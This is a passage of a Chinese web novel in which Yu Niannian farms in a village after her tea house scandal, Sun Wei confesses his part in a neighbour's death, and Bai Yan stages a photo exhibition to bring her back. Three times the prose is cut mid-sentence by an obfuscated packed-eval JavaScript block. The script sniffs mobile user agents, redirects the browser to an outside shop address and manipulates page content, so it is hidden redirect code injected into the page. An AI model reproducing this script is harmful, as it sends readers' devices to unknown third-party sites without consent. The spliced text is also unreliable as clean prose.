李婶家楼上的房间再没亮起过灯光,她每天早晚都习惯性地喊一声“小余”,每次都没有得到回应,她只能有事没事去骚扰对面早点铺的老孙,跟他复盘事情为什么会变成这样,但两个不知内情的人复盘来复盘去也复盘不出个所以然。 唯一最了解内情的人也从老街上销声匿迹了。陈帆家原本就低矮昏暗的小平房彻底被它的主人抛弃,开向街道一侧的窗户黑黢黢一片,逐渐爬满了蜘蛛网。 整条老街恢复了之前的样子,仿佛余念念和她的茶馆从来没有存在过。 只有一个人像是陷在了过去。 茶馆封条撤去后,白砚每天从傍晚就登上天台,一个人看日落,看完日落,就在没来得及收起的幕布上播一部电影,电影情节如何也不甚在意,有时,片尾曲结束了,整片幕布陷入空白,他也浑然不觉,就这么坐在躺椅上,静静看着。 一个月过去了...... —————— 洪家村中心的银杏树下。 村长抖了抖手里的烟卷,瞄了一眼身旁站着的人,十分委婉地寻找着合适的措辞。 “那个,小白啊,你已经来了十几次了,平均算下来两天就要来一回,村口的大黄狗见到你都不叫唤了......我说了,小余她不在这儿,你来了也是白来。” 白砚远远望着远处已经绿意一片的庄稼地,问:“她还没消气么?” 村长一梗——好家伙,同样的对话重复了十几次了,有这样的耐性干啥不成功! “不是消不消气的事儿,小余她可能根本没在生你的气,她只是在思考自己的人生,你们给她一点时间好不好?” 白砚瞳孔一震,扭头看向村长,眼里冒出期待:“她这么跟您说的?她有没有说她还需要多长的时间?” 村长:“......那不是!她都不在这儿怎么跟我说!是我自己带入一下她的境地之后有感而发,你想嘛,一个小姑娘家家,二十来岁,突然遭到这么大的变故,难道不需要时间缓一缓么?你们为什么要逼她?” 白砚看了一会儿村长老奸巨猾油盐不进的脸,又看回庄稼地,语气落寞而哀怨:“我不是想逼她,我是拯救我自己......” 村长“啧”了一声:“你有什么好拯救的!” 白砚心里的话憋了一个月,一下子没克制住,倾泻而出:“她睡了我,又抛弃了我,一开始我以为这是对我的惩罚,时间越久我越觉得我只是她告别过去的工具!” “............” 村长脸上肌肉疯狂抽搐,一副“我这把年纪了为什么要听到这些”的表情,缓缓抬起手在白砚肩膀上拍了拍:“......看开点,可能这也是你成长的一环......” “......” 十五分钟后,村长手夹烟卷,遥遥看着白砚消失在村道上。 一道身影风风火火掠过他身边,肩上扛着的锄头差点扇到他的脑袋。 “你站住!”村长吓得一歪身子,扔了烟卷,起身后对着那个背影一声暴喝。 余念念将肩头的锄头卸下来,转回身看向村长,一个月前妆容精致的脸此刻不施粉黛,且被日晒和风吹浸润得泛起了高原红。 “干嘛?我地里还有好多事儿呢。” “什么你地里?那是我的地!被你这么一通霍霍,今年我家收成比别人家少一半还不止!” 余念念眉头一拧:“要赶我走?” 村长瞬间熄火,摆手,语调温和下来:“那当然不是!只是——”他冲村口努了努嘴,“你打算什么时候接见小白?” 一个月前,余念念失魂落魄到了洪家村,村长大手一挥:“去种地吧!多跟大自然接触,吸收吸收日月精华,把那些烦恼暂时抛到脑后去!” 余念念便扛着锄头下了地,白天种地,晚上去宝来灯笼铺做灯笼,全部身心投入到简单直接的体力劳动之中,慢慢地,脸上的失落逐渐消散了。 这期间,不少人找村长打听余念念的下落,都被他或软或硬地挡回去一一只是,刚刚白砚孤单离开的背影让他突然动了恻隐之心。 “我跟老街没关系了,见他干嘛?”余念念垂下眼睛,把弄着手里的锄头,锄头金属和木头的连接处有些松动,她皱了皱眉:“等会儿帮我修修锄头,我需要一把趁手的工具。” “工具”这个字眼让村长脸色第二次抽搐起来,刚刚某张哀怨的脸又浮现在他眼前,他心里瞬间涌出一股对同性的怜爱,痛心疾首道:“你对小白好一点!” “嗯?”余念念抬起头,不明所以。 “惩罚他可以,但不能拿他当工具!”大声丢下这句指控后,村长背着手,长吁短叹地走开。 “......” 十秒钟后,余念念满脸通红迎风凌乱,内心万分激愤:好你个绿茶天仙!卖惨装弱,简直口不择言!! —————— 清明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14512102|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节当天下着雨。 傍晚时分,整条老街几乎半隐在烟雨蒙蒙之中,街上没几个人走动,临街还开着的店铺里,店主大都懒懒地缩在柜台后。 刘大爷依旧背着手、叹着气,一身劲无处使的样子,四处游荡着。 从河边拐进老街,再往里走个几百米,便是老街深处,陈帆家的老屋就在那个方位。 这段时间,老街大部分住户路过那间屋子时都会心里咯噔一下,有的侧目打量几眼,有的看也不敢看快步走过去,多多少少心里不太舒服。 但刘大爷仗着自己土生土长老街居民的身份,以及没棋下内心压不住的一股邪火,就要往那边晃悠。不仅在街道上路过时来回晃悠,有时,还绕着屋子打圈晃悠。 今天,他又围着屋子绕了一圈,绕到某个角度,一阵窸窸窣窣的声音从半人高的围墙上方传了出来。 紧接着,有人极小声地说话,话音在小雨中断断续续,又像是说话的人在打着颤说不完整。 “求求你......别来......安息吧......” 几个词钻进刘大爷的耳朵里,他浑身一僵,眉头一挑,胆向两边声,不仅不赶紧躲开,反而凑了过去。 从围墙上往里望去,一个人影缩在陈帆家老屋的院子一角,哆哆嗦嗦地将纸啊币啊之类祭奠的东西从一个大塑料袋里往外掏,掏出后放到身前的一个旧脸盆里,又从衣服口袋里摸出个打火机,嘴里边念叨着,边打着火。 那火苗像是跟他过不去,刚一点着,就被一阵风给吹灭。 如此重复几次,那人影抖得更厉害,伏下身猛磕了几个头,嘴里加紧念叨:“别怨我了......我知错了......你就安息吧......可千万别回来找我啊......求你了......” 接着,最后一次,火苗总算被他手掌虚掩护住,小心地点燃了脸盆里的纸币,噼里啪啦烧起来。 “呔!”刘大爷一声暴喝。 “啊啊啊啊啊啊啊啊!”围墙里那人吓得弹了起来,大叫着原地转了几圈,找了个墙角,双手抱着脑袋蹲了下去,浑身抖筛似的抖个不停。 “你干嘛呢!老街上不让瞎点火你不知道么!把屋子点着了你担得了么你!”刘大爷一身正气,化身老街安全守卫员。 那人听了这几句话,抖动倒是慢慢止住,捂着脑袋的双手一点一点放了下来,在火舌子后面露出半张脸,遥遥望了围墙外一眼,颤颤巍巍道:“......爸?” 爸? 刘大爷大吃一惊,撑着把老骨头半爬上了围墙,定睛朝里面那个丢人现眼的家伙看去,看了几眼,用手揉了揉眼睛,又去看。 “孙伟?!” 那人影缓缓站了起来,孙伟吓得惨白的脸一点点清楚地浮现出来。 刘大爷双目圆睁,不可置信地大声喝问:“你他妈的清明节跑人家家院子里瞎烧什么呢?!” 50. 自白 老街住户万万没想到,清明节都快过去了,正义使者刘大爷上演了一出大义灭亲的戏码,惊爆整条老街。 一把鼻涕一把泪的孙伟被自己老丈人扭送到居委会门口,刘大爷的大嗓门很快吸引了一群街坊邻里围聚过来。 “说!你都干了什么亏心事?为什么要去陈帆家院里烧纸?” 此前没人注意,现在,被杵在人群中央,众人这才发现孙伟短短一个月的时间苍老得不成样子,眼珠子浑浊血红,眼窝深陷,眼袋几乎掉到下巴上,发际线飙升到头顶,跟精神矍铄的刘大爷站在一起,一时让人分不清谁是老丈人谁是女婿。 他的心理防线彻底崩塌,伏趴在地上,捶着地面,哭嚎:“都是我的错!我求你别再来梦里吓我了!我求你了!你再来我这条命都要交代了!我已经一个月没睡好觉了啊!” 有人问:“你梦到的是陈帆的妈?她的死跟你有关系?” 孙伟呜呜着不吭声了,被刘大爷踢了一脚,“嗷”地一声抽搐了一下:“我......我跟她说她儿子不务正业,去茶馆当什么调酒师,迟早要被居委会开除......她......她还真信了,三天两头给我送东西,求我别开除她儿子......我跟她说,除非陈帆不去茶馆了,不然,居委会肯定还要开除他......” 人群瞬间哗然,李婶愤怒的声音传出来:“好你个孙伟!就因为小余曾经跟你有过过节,你就这么背后使阴招害她!” 孙伟这时像蒙受了什么冤屈,梗起脖子大喊:“我没害她!她那茶馆就是不务正业!我是陈帆的领导,我就不允许他到那里鬼混!谁知道他妈妈心理素质这么差,一激就想不开啊!” 刚刚只是小声议论的人群瞬间愤怒起来,刘大爷气得脱了脚上的鞋高高举起来,李婶不知道从哪里找来一根扫帚要往他脸上扇区,但一道白影比所有人都快,闪电般地从人群外冲进去,揪起孙伟的衣领就是一拳。 一拳过后,孙伟鼻血横流,哀嚎着捧着脸在地上翻滚。 白砚胸膛剧烈起伏,克制了半分钟,才忍下再次挥拳的冲动,一眼都不想多看地上的人,转身就走。 这时,又一道黑影从人群外冲进来,冲到孙伟身边,毫无章法地冲着他一顿捶打脚踢,边打,边发出凄厉的哭叫:“你这个畜生!你还我妈妈!你还我妈妈啊!” “陈帆?”有人从黑色帽子和口罩下认出陈帆,迟疑的开口。 “是陈帆,你回来了!” “对啊,今天清明节呢,他该回来的......” ...... 疯狂的喊叫和挥舞后,陈帆瘫在孙伟身边,仰躺在老街街道上,任由雨淋在他身上,帽子从头顶滑落,露出他杂乱不堪的头发和满是绝望的眼睛。 “还我妈妈......”他喃喃说着。 —————— 第二天一早,老孙早点铺。 一屋子人正呼啦哈哧地吃着早饭,陈帆穿了一身黑,背了个大大的双肩包,戴了顶帽檐低垂的黑色鸭舌帽走了进来,整间店铺一下子安静下来。 不待他开口,老孙拍了拍他的肩膀,将他领到店铺一角的空桌上,示意他坐下。 十分钟后,一桌子热气腾腾的早点摆了上来,老孙也在他对面坐下,冲着桌子扬扬下巴,温和道:“吃吧。” 陈帆低着头,喉头上下滚动一阵子,低低说了声“谢谢”,吃了起来。 看着他吃了一会儿,老孙问:“又要走了?” 陈帆点点头。 “这次去哪里?” 陈帆顿了片刻,摇摇头。 老孙叹了口气,他在老街开了一辈子早餐店,这些孩子都是他从小看到大的。陈帆从小性格软弱,老街上长大,本地读书,毕业后老街上工作,突如其来一场变故,就这么从老街的小池塘要流到外面的汪洋大海里去了,是个人都能知道他现在心里有多忐忑。 但有些话,老孙还是想说出来。 “陈帆,你恨小余么?” 陈帆动作彻底顿住,很久才把嘴里的东西咽下去,低声道:“叔,我不糊涂,这件事上,她也是受害者......我只恨我自己没早点听她的话,跟我妈坐下来好好聊......以前总觉得,我妈这样没见过世面的人,跟她聊没用,现在,想聊也没人聊了......” 老孙眼眶微红。老街上,谁不对这对母子报以同情呢?但或许这份同情对一个人的成长也是负担。现在,他没了庇护,只能自己一头扎进狂风骇浪里了。 “听叔的,别怕,遇到啥都别怕,遇到困难了就回来找我们。”老孙顿了顿,又补了句:“还有,你要是愿意的话,把刚刚的话也告诉小余,她听了,说不定心里能好受些......” —————— 一个礼拜之后,一篇名为《我早该去流浪》的文章出现在网络上,一经发布,便被疯狂转载。 文章作者ID是【困在巷子里的人】。 这篇文章里,“我”——也就是那个困在巷子里的人——从小和母亲相依为命,母子俩得到巷子的庇佑,也受困于巷子的狭隘。 开始时,“我”年少不更事,在巷子里和母亲的臂弯下无忧无虑地成长。 少年初成时,“我”意识到家境贫寒和家庭缺失,逐渐变得敏感自卑。 长大成人后,“我”接受了自己的普通,接受了一眼看到头的平庸生活,逐渐安分守己,不敢谈梦想。 但,“我”突然遇到一个张扬而闪耀的人,有了一个宣泄内心和拥抱自由的出口。 “我”像飞蛾扑火一样飞向那个出口,不顾一切,将那个一辈子没看到过自己出口的女人,“我”的母亲,弃之脑后。 “我”的母亲吓坏了,她以“我”要堕落了,以为那个闪耀的人是洪水猛兽,以为那个“出口”是个陷阱。 母亲声嘶力竭劝阻,“我”不为所动,也不屑于解释,因为在“我”眼里,母亲是井底之蛙。 母亲绝望了,她失去了那个巷子里长大的儿子,她纵身一跃,试图用自己的生命阻止“我”的飞蛾扑火。 “我”的生活崩塌了,“我”在巷子里一秒也待不下去,只能一 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很快,评论区挤满了人。 有人共情“困在巷子里的人”: 【小镇普通人家的小孩很理解你,出去闯荡真的很需要勇气,既然已经没有退路了,那就加油!】 有人同情“北极星”: 【真是无妄之灾!谁能想到好好做生意居然会遇上这样的事呢,这老板也是倒了大霉!】 但慢慢地,评论区被一帮可疑人士有组织有预谋地占领了,这些人带着外人看起来莫名其妙,但在某些眼里特征明显的ID,把评论区当成了定向大喇叭,公然向某人喊起了话。 ID“棋王魏某”评论:【北极星同志,请速速归来!大部队已经撑不下去了,说好的关爱老人从我做起呢?现在河边的风有多冷你知道么?!】 这条评论下,ID“老街正义使者刘某”回复:【同意棋王魏某!另外,棋王魏同志,鉴于我大义灭亲的觉悟,我可以回归大部队了么?】 ID“崇安双臭传承人老街一枝花李某”评论:【北极星同志,请速速归来!我们都很想念你,在外面冷静够了就快回家吧,你的房间还给你留着呢!】 ID“老街早点孙”评论:【北极星同志,请速速归来!老街少了你就少了灵魂,我的早点配你的茶,老街人的一天才算完整!】 ID“优中之优”评论:【北极星同志,请速速归来!生产队的驴也不能歇这么久!你是不是忘了自己还有一个嗷嗷待哺的员工!】 ID“恋爱观察员小汤包”评论:【北极星同志,请速速归来!另一白姓观测对象已患上相思病,目前苟延残喘中,亟需你回来拯救!】 ...... 在这些ID的带动下,一些老街茶馆的熟客也纷纷喊话。 【召唤老板!我的精神后花园!我的日落!我的天台!】 【老板快回来开店!好不容易找到的宝藏店铺!好想念晚上的微醺电影!】 ...... 51. 倒戈 洪家村村委会村长办公室里。 余念念捧着手机,将那篇《我早该去流浪》的评论区从头到尾翻了个遍,看着看着,嘴角微微上扬。 坐在旁边的赵主任笑着问:“感觉如何呀,北极星同志?” 村长打量着余念念的表情,从胸腔里发出声笑声,挥挥手:“收拾收拾,准备回去吧!” 余念念收起手机,思索片刻,摇了摇头:“网络上的声音来得快去得快,我不能被这些声音推着走。” 赵主任赞许地点点头:“那你内心的想法是什么?” 余念念站起身,走到窗口,遥遥看了眼窗外远处的农田,说:“我觉得,我还没找到必须回去的理由,而且,最重要的是,我的地还没种好。” 村长大惊失色,跳起来把她从窗户前拖开,唰地拉上窗帘隔绝了视线,表情和架势像在守护什么绝世珍宝,痛惜地道:“你种上瘾了?!” 余念念:“确实上瘾——” 村长:“——不能上瘾!你回去嚯嚯白砚去!别嚯嚯我的地了!” 余念念:“......” 她转头,看向赵主任,眼睛眨巴着,后者立刻心领神会,清了清嗓子,起身主持局面:“老洪,俗话说,帮人帮到底送佛送到西,你帮了一半就要赶人走,以后小余回想起来,是谢你呢,还是怨你呢?我看小余迟早还是要回去的,她在老街上那些资源呐人脉啊,还有你心心念念的常主任——” 不待她说完,村长义正严辞冲余念念道:“你去种吧!想种多久种多久!今年收成我不要了!来,锄头呢?我现在就给你修好,还要什么工具你尽管说!” 余念念满意地起身去找锄头,手机在口袋里接连发出一串消息提示音,她掏出来一看,当即眉头挑到头发里。 【相亲相爱余家人】的群里,除了她以外的另外三个人居然纷纷倒戈! 余玩:【姐,小白哥真的好惨,你怎么忍心抛弃他?!】 余爸:【念念,有情绪呢确实要发泄出来,但是啊,据我分析,这件事上小白也很无辜,况且他已经充分认识到自己的错误了,我相信他以后不会再让你受到同样的伤害了,所以啊,气消了就赶紧回去吧,别人人家等太久。】 余吗:【咱们女人呐,该负的责任还是要负的,回去好好哄哄,别给人家留下心理阴影!】 还找什么锄头?后院失火了啊这是! 余念念冲赵主任和村长道了句抱歉,冲出办公室,噔噔噔爬到房顶上,拨了余玩的视频。 “我不是让你们把礼物还给人家就走么?说!现在是怎么回事?” 对面,余玩先是长叹一口气,仿佛不忍回忆什么悲惨的画面,用沉痛的语调给她讲述起余家三人探访颜喜书画斋的经历。 “我们一进门,白爷爷就出来迎接我们,客气得很,我一看,小白哥怎么没出来接,问了才知道,他因为思念你思念得病了!病了!!” 余念念眉头开始微微抽搐。 “但是!听到我们的声音后,小白哥强撑着病躯从屋里床上爬了起来,要给我们倒茶,那柔弱的身躯,那惨白的脸色,那隐忍的眼神,那颤抖的双手!简直闻者伤心见者落泪啊!小白哥什么样的人物?那是神仙一样的人呐!可昨天,他就像失去了土壤的一棵脆弱的竹苗,摇摇欲坠迎风飘摇!” 余念念:“......你平时语文作文要是有这个词汇量和感染力,也不至于考不及格。” 余玩不满地大啧一声:“我没有夸张!小白哥脸色很差,而且一直在咳嗽!最令人不忍的是,我和爸妈拿出了过年时他送来的三份玉器,送还到他手上,他眼里一下子就流下了伤心的泪水!犹如小溪泛滥延绵不绝!他颤抖的声音问:‘叔叔,阿姨,念念她......还是不肯原谅我么?’刚说完,就体力不支,倒在了沙发上!!!” 余念念将手机举远,以免耳膜受损,另一只手忍不住扶住额头,半晌,问:“爸妈咋说?” “爸妈能咋说?!他们听白老解释了前因后果,又亲眼看到自己女儿把别人孙子伤成那样也不管,不仅不管,还来送刀子戳人心窝子,他们能咋说?!他们只能安慰两句,然后灰溜溜地回家喽!” 一旁,余爸一本正经的声音迟疑地插进来:“那个......倒也不能说是灰溜溜!毕竟,我女儿出事的时候,他不在身边,这是不争的事实,但是,念念啊,”余爸话锋一转,“我觉得他罪不至死,不至于因为这个给人彻底封杀掉哈!” 话音刚落,手机被余妈接管,声音比刚刚两个男人要沉稳许多:“心情恢复得怎么样了?” 听得出来,语调尽量放得柔和了。 余念念老实回答:“挺好的。” 余妈语气瞬间变得威严:“那就赶紧回去跟人家好好说清楚,我们家可容不下渣女。” 余念念:“......” 还没反应过来,那边,余妈已经干脆利落地挂断了视频,空留余念念一个人呆楞地在房顶上面对漆黑的手机屏幕,整个人久久不能从“渣女”这个词带来的震撼中缓过神来。 一天之前,她还是饱受一家人呵护的落难小白花。 现在,她成了不负责任人人喊打的“渣女”? 这一切剧变,只因为去崇安老街见了白砚一面?! 这是什么男狐狸精!他们看不出来那个绿茶天仙在演苦肉计么?! 一边理直气壮地悲愤,另一边,某个画面从脑海中冒出来——昏暗的房间里,白砚轻蹙眉头压抑喘息,不确定地询问:“念念......你认真的么?” 余念念咽了口口水,自信破碎了。 我......该不会......真的是渣女吧! 正自我怀疑着,余玩的另一句话又从在耳边响起——脸色很差,一直在咳嗽...... 她举起手机,有些担心地点开跟白砚的聊天记录,页面上,是自分开那天以来收到的白砚发的长长一串消息。 这一个月来,她不知道看了多少遍这些消息,里面有解释,有道歉,有请求,有思念。 如果说最开始的时候,她还因为怨气而故意视而不见,那现在她是从心底里觉得不应该回复了。 长痛不如短痛嘛。 这段时间,她真的畏惧了人与人之间的情感牵连,老街街坊,茶馆客户,这些曾经她求之不得的人情纽带,也是事情发生后令她痛苦的根源。 而白砚,是其中最痛最痛的一根,她亲手拔掉了,现在,怎么能又这么轻易地连上呢...... 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539366|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压下慰问一下的念头,下楼,坚定一个念头:修好锄头!我要种地! —————— 与此同时,崇安市酒吧街。 最深处的一家民谣酒吧外,一辆黑色奔驰缓缓停在街道上,司机老张从驾驶座上下来,小跑着给后座的人开了门,一个全身高档亚麻、头发梳得光滑、眼角眉梢和白砚有些神似的中年男人从车上跨了下来,皱着眉望向面前的酒吧大门。 “我儿子在这里面?”他不是很认同的语气问。 当了白家十几年司机的老张一耳朵便听出他的潜台词:我那么优秀那么自律的好大儿,会在这种不积极向上不光鲜亮丽的场所里?你是不是搞错了! “是的先生......要不,您在车上等着,我进去把小白先生叫出来。” 中年男人摆了摆手,扶了扶本就很平整的衣领,往酒吧大门走去。 十分钟后,两个人扛着醉得人事不省的白砚从酒吧里慢慢挪动出来,男人身上的亚麻已经变得皱巴巴,胸口处还新增巨大一块酒渍。 将白砚塞进后座后,他钻进副驾驶,砰地一声重重关上车门,掏出手机,从通讯录最底层找到某个八百年没联系过的电话号码。 电话还真打通了,一声嗲里嗲气的女人声音传来,令男人眉头一皱,沉声道:“是我!” 对面的声音瞬间冷淡:“找我干嘛?” 男人火冒三丈:“你把儿子害成这样,一点负罪感都没有么?!” —————— 半小时后,白砚市中心的公寓里。 白家一家人都到齐了,绕着主卧的床围了一圈。 白老拄着拐杖叹了口气:“他压抑了这么久,喝醉了也好,让他好好睡一觉吧。” 白父怒视匆匆赶来的翁女士:“要不是你非把他从崇安叫走,能出这样的事?!” 翁女士离婚这么久,头一次在前夫面前气势全无,嗫嚅道:“我......我原本只是想搅一下那个姓余的小姑娘的局,我也不知道事情会变成这个样子,都怪那个姓何的,出的什么馊主意!” 白老重重砸了下拐杖:“什么姓余的小姑娘,那本来是我孙媳妇!” 白父跟着斥责道:“就是!我儿子想好好谈个恋爱容易么?摊上你这么个亲妈!现在好了,把自己儿子搞成这副人不人鬼不鬼的样子!那个姓何的什么来头,敢这么害我儿媳妇?!” “没什么来头,一个象棋学校的老师,模样好点罢了......” 白父把拳头捏得嘎吱响:“很好,一会儿把这倒霉学校名字给我,明天我就买下它,让这姓何的孙子彻底滚蛋!” 接着,三个人对着床上的醉酒的白砚又一次陷入愁眉不展。 隔了很久,白父痛心地对白老道:“爸,有什么办法能把我儿媳妇找回来,花多少钱我都愿意!” 白老面露不悦:“住口,你这个只知道钱的莽夫!” 话音刚落,老人机巨大而复古的来电铃声在房间里响起,白老从怀里掏出电话,接起来,先是面上一惊,继而,音量放低,踱到一边,跟电话那头的人小声说着什么,几分钟后,回到白砚床边,脸上露出阴晴不定的表情。 “情况有变,留给孙媳妇考虑的时间不多啦......” 52. 重逢 第二天一早,正扛着小锄头下地的余念念被村长气喘吁吁地追上。 “常主任让我给你带话了——” 刚听了半句,余念念惊讶地问:“常主任?他怎么知道我在这儿?” 村长顿住,眼珠子心虚地转了半圈:“这个嘛......你刚离开老街的时候,他就打电话来问我,我没明确说在,也没明确说不在,他也没追问了,大家不就心照不宣了嘛......毕竟,我还要抱他大腿的,做事得留一线!” 余念念听了他极为坦诚的自我剖析,一点脾气也不敢有,毕竟,自己寄人篱下,还祸害了人家的地,不能连人抱大腿的机会也给村长搅没了。 “好的,您说,常主任让您带什么话了。” “他说,让你回老街再见见大家,老街就要没了,有一家商业地产开发商看上了老街的地段,要买下来重建。” “什么......” 余念念愣住,村长的声音和开合的嘴像离了很远很远,早晨的太阳这会儿像是失去了热量,整个世界陷入耳鸣一般空白无意义的噪音。 老街就要没了? 村长又说了些什么,拍了拍她的肩膀,走了。 手机在口袋里发出声震动,掏出来看,白砚发来一张照片。 她很容易认出来,照片是从茶馆天台的楼梯往天台的方向拍摄的,不远处,一张巨大的海报,上面几个大字:“告别老街”主题摄影展。 紧接着,白砚又发来条消息:【三天后,只向老街人开放,念念,回来看看吧。】 —————— 茶馆的摆设和离开前一模一样,落地窗被擦得干净明亮,桌椅和柜台上没有一丝灰尘,显然是被精心打扫过了。 墙上的大屏幕上播放着之前茶馆正常营业时大爷们下棋的影像,热闹嘈杂声从扬声器里传出来,但现实的茶馆大堂里空空荡荡没有一个人。 时隔一个多月,再次踏入茶馆的门,眼前的画面让余念念恍然生出不知今夕何夕的感觉。 上到二楼,桌上仍摆着象棋学校小孩们用的棋谱和她从颜喜书画斋要来的少儿字帖,甚至连下了一半的棋局和已经干涸的砚台都保持着原样。 余念念轻轻叹了口气,心里生出对白老的一丝愧疚——按照常理来说,出了事的茶馆理应在她走后重新装修、转租,至少抹去前一任商户留下的痕迹,这样才最符合店铺主人的利益,但白老就这么把一切维持着原样,不知是相信她一定会回来,还是在默默地为她守护住一些什么。 走在通向三楼的楼梯上,余念念突然反应过来,今天的摄影展至今只有她一个人,不知是她到得太早,还是有人刻意安排。 但很快,她的目光便被正对着楼梯间的一副巨大照片吸引了。 照片里看到的摄影展海报被换成了她的巨幅背影照,微曲的长发任性地占据画面中心大大一块篇幅,随风拂动的发丝清晰可见,在那背影注视的方向,落日向天空和地平线平等地洒下一片金黄,勾勒出让人一看就心生暖意的老街剪影。 余念念的眼眶在一瞬间发烫,她想起了这张照片的诞生,想起了这一切发生的起点,想起了银杏树下和村长的第一场谈话,想起她开老街茶馆的初心。 ——要爱上一座城市,就先爱上这座城市的一个角落,爱上这个角落的某些人。 她找到了这个角落,爱上了老街,也因此在崇安这座繁华的城市里找到了归属感。过去的一个月,她以为自己彻底丢失了这份爱,但此时此刻,喧嚣褪去,她又一次听到自己内心的声音——她还爱这里,她舍不得这里。 这张照片之后,许多张照片左右交错着,在天台上形成了一条蜿蜒的回廊。 她顺着回廊走过去,看到无数个老街。 晴天的,雨天的,雾汽弥漫的,大雪纷飞的...... 春夏秋冬的,节日里热闹喜庆的,空无一人冷冷清清的...... 晨光里的,白日烟火气的,日落低垂的,夜深人静的...... 手写公告栏,老街茶馆,老孙早点铺,和李婶家一样的普通人家,挂着老旧招牌的老潘照相馆,书卷气十足的颜喜书画斋,居委会的小白楼,厚重而气派的安福楼...... 最后,猝不及防地结束在一座低矮的建筑前。 陈帆家的老屋门前和窗台上,摆满了一盆盆盛开的鲜花,将这座原本老旧的平房装点得像一个童话小屋。旧砖石砌成的院墙上,绿植长长的枝条垂下来,相互交错,盎然绿意覆盖了半面墙。 余念念定定地看着那座房子,脑中浮现起那个在老街待了一辈子的女人的脸,生前总是那么瑟缩,走得却那么决绝。现在,她的儿子虽晚熟却勇敢地出门流浪去了,老街街坊送来的这些鲜花和绿意应该能陪伴和抚慰她的心吧。 正入神地想着,脚步声传来,白砚缓缓从照片后走出来,眼珠不错地看着她。 一瞬间,时间像是静止了,余念念与他对视着,置身在这个从开头到结尾都明显为她专门设计过的所谓“告别老街”却除了她以外没有第二个人的摄影展之中,与他长久地对视着,却说不出话。 通向天台的楼道里,白家的两个男人隐藏在视线死角处,从门缝里偷偷打量着天台上白家的第三个男人。 “爸,能看清么?我这个角度看不到儿媳妇,急死我了!”白父焦急万分。 “深情对望着呢,你急啥?”白老于不甚沉稳的动作之中努力维持着语调的沉稳。 白父将头伸得更长,恨不得伸上楼梯去:“爸,这么短的时间,这么多的照片,这么高规格的私人摄影展,我可真是一掷千金呐!怎么样,儿媳妇感不感动?” 两人正鬼鬼祟祟你拉我扯着,一道刚正清直的身影从他们身边经过,轻飘飘地扫了他们一眼,眼神里透露出明显的不理解也不尊重,径直朝楼上走去。 “哎我说老常你那是什么眼神?!”白老一下子直起身子,跟着常主任走了上去,白父在最后跟着,不敢多言。 楼上两人的对视被打断,各自低垂下头,有些慌乱地整理着表情。 “小余,你回来啦!”常主任的态度跟刚刚七百二十度大转弯,语调饱含深情,手伸出去,又迟疑地停在半空中,像是不确定会不会被接受。 余念念眼中发烫,一手挽住常主任,一手挽住白老,笑着道:“常主任,白爷爷,我回来了。” “哎!” “好!” 两个老人齐声应道,都是长长地舒了口气,面上露出欣喜万分的笑意。 余念念眼神瞄到白老身后站着的中年男人,问:“这位是?” 男人嘴角扬起标准的微笑,整理了一下衣领,往前踏了一步,手微微举起,正要开口,被白老一把扯回身后:“哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557999|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是这次摄影展的赞助商,不是很重要,下次再单独介绍给你认识,现在呢,常主任有话对你说,去吧,去二楼好好聊!” 余念念有些狐疑地又看了眼那位双目圆睁的“赞助商”,跟着常主任下了楼。 “爸!我只是赞助商么?您怎么不跟儿媳妇介绍我!”白父极为不满地小声嚷嚷。 “什么儿媳妇儿媳妇的,一点都不尊重,人家答应咱们了么?慢慢来,什么事都不要操之过急!”白老顿了顿拐杖,语重心长。 白父呆楞地看着自己的爸——这个几天前带头称呼人家为“孙媳妇”的白家最受尊崇的人——不敢反驳,又看了眼一旁失魂落魄的白砚——这个白家现任顶级恋爱脑外加相思病患者——明显指望不上,兀自闭上了嘴,咽下了一掷千金却不配拥有姓名的心酸眼泪。 —————— 二楼,常主任饱含关切的眼神从镜片下透出,观察了余念念片刻,接着,笑了起来。 “看来,村长把你照顾得很好,你的脸色看上去很健康。” 余念念跟着笑起来:“村长确实是我的贵人,洪家村也是我的福地。” 常主任点点头:“本来,我不应该打扰你在洪家村的平静生活,但是,确实是情况紧急,留给老街的时间不多了。” 余念念立刻正色:“常主任,到底怎么回事?老街真的要被拆掉么?” “有个叫‘环锦’的地产开发商你有听过么?”常主任问。 “听过,这几年开发了不少成功的商圈,听说背景雄厚,和市政府之间的关系很好。” 常主任扶了扶眼镜:“是啊,就是这个环锦地产开发集团,前几天他们公关部门有人来找我,咨询老街的情况,表达了希望合作共建的期望。当然了,人家这是委婉的说法,先礼后兵嘛,说是合作共建,其实是想拆了老街重新打造一个商业中心。” “商业中心?是跟其他三条街一样的那种商业中心么?” 